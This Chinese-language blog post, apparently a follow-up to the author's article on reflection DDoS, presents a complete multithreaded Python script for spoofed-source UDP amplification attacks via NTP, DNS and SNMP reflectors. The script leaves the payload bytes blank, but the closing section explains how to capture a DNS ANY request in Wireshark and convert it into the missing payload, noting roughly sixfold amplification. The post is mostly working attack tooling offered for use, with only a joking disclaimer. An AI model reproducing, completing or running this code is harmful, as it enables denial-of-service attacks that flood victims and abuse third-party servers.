0×01 前言
之前发了一篇关于反射DDOS攻击原理以及反射资源扫描的文章,本来今天的这个应该并到那篇文章里,共称为反射DDOS攻击扫描与利用,但是我怕这样做会教坏小孩子,但是我想了一天以后我觉得我还是发出来吧,毕竟我写的也不好,没必要藏着掖着的,我还会把payload去掉,让大家自己填写,这就不算是我搞破坏了。废话不多说了,赶紧发完了。
0×02 代码的使用方法
首先,我这是在linux环境下写的,开始我用windows开发的,但是总是不成功,调用python的原始套接字伪造源IP地址总是不能发出去,后来我换到linux上就好了(kali),我并没有调用第三方的库,只要是linux+python就可以执行,在执行之前需要先在利用代码的同文件夹中建一个ipaddress.txt文件 ,作为反射攻击的反射资源地址池,多点少点都行,但是记住最后一行不要空着,不然程序报错,格式就如同下图(IP地址,端口号):
利用代码就是如下这些了。。。。
- #!/usr/bin/python
- #-*-coding:utf-8-*-
-
- import socket
- import struct
- import random
- import threading
-
- class myThread (threading.Thread):
- def __init__(self,srcip,srcport):
- threading.Thread.__init__(self)
- self.srcip = srcip
- self.srcport =srcport
-
- def run(self):
- re_att(self.srcip,self.srcport)
-
- def checksum(data):
- s = 0
- n = len(data) % 2
- for i in range(0, len(data)-n, 2):
- s+= ord(data[i]) + (ord(data[i+1]) << 8)
- if n:
- s+= ord(data[i+1])
- while (s >> 16):
- s = (s & 0xFFFF) + (s >> 16)
- s = ~s & 0xffff
- return s
-
- def IP(source,destination,udplen):
- version = 4
- ihl = 5
- tos = 0
- tl = 20+udplen
- ip_id = random.randint(1,65530)
- flags = 0
- offset = 0
- ttl = 128
- protocol =17
- check =0
- source = socket.inet_aton(source)
- destination = socket.inet_aton(destination)
-
- ver_ihl = (version << 4)+ihl
- flags_offset = (flags << 13)+offset
- ip_header = struct.pack("!BBHHHBBH4s4s",
- ver_ihl,
- tos,
- tl,
- ip_id,
- flags_offset,
- ttl,
- protocol,
- check,
- source,
- destination)
- check=checksum(ip_header)
- ip_header = struct.pack("!BBHHHBBH4s4s",
- ver_ihl,
- tos,
- tl,
- ip_id,
- flags_offset,
- ttl,
- protocol,
- socket.htons(check),
- source,
- destination)
- return ip_header
-
- def udp(sp,dp,datalen):
- srcport=sp
- dstport=dp
- udplen=8+datalen
- udp_checksum=0
- udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)
- return udp_header
-
-
- def re_att(srcip,srcport):
- NTP_data=#payload需要你们自己写啊,就是写\x0a 这种十六进制的就可以,不会写的话叫你们个简单方法,去whireshark上抓一个包
- DNS_data=#payload需要你们自己写啊
- SNMP_data=#payload需要你们自己写啊
-
- n=len(ipaddr)-1
- while 1:
- i=random.randint(0,n)
- ip_port=ipaddr[i]
- dstip=ip_port[0]
- dstport=int(ip_port[1])
- if dstport==123:
- data=NTP_data
- elif dstport==53:
- data=DNS_data
- elif dstport==161:
- data=SNMP_data
- else:
- print 'dest port error!'
- datalen=len(data)
- udp_header=udp(srcport,dstport,datalen)
- ip_header=IP(srcip,dstip,len(udp_header)+datalen)
- ip_packet=ip_header+udp_header+data
- s.sendto(ip_packet,(dstip,dstport))
-
- proto_udp=17
- proto_tcp=6
- s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)
- s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
- ipaddr=[]
- f = open("ipaddress.txt","r")
- lines=f.readlines()
- for line in lines:
- line=line.strip('\r\n')
- l=line.split(',')
- ipaddr.append(l)
-
- srcip=raw_input('attack IP:')
- srcport=int(input('attack PORT:'))
- threads=int(input("线程数threads:"))
-
- threads_name=[]
- need=(srcip,srcport)
- for i in range(threads):
- threads_name.append('teread'+str(i))
-
- for i in range(threads):
- threads_name[i]=myThread(srcip,srcport)
-
- for i in range(threads):
- threads_name[i].start()
-
-
- #这个攻击没有结束,想停就直接关了终端就可以了
-
- #这个脚本支持多线程,但是要量力而行,我在虚拟机中10线程就有点卡了
这个工具没带payload,但是我可以教大家一个简单的写payload的方法,就是用whireshark抓包
第一步,打开kali whireshark抓包,然后开终端,用dig工具
看,这就能抓到一个DNS的请求和回复包了。这里用的是ANY,请求80字节回复486字节,放大了6倍
第二步,点开请求包(就是80字节那个,别点开错了),选中DNS部分,然后复制,为hex转储
第三步,打开个记事本,把刚才的粘贴进去,这不就是十六进制的payload了吗,把前面的0000那些删掉,再把这些字符以‘\xdf’+’\xdb’+…..这种形式连起来就可以了
第四步,剩下的就自己去领悟吧,别的payload道理差不多,有能力就自己写,想简单点就去复制一下也可以,我可没教你们什么,其他的都是你们自己领悟出来的。。。。。。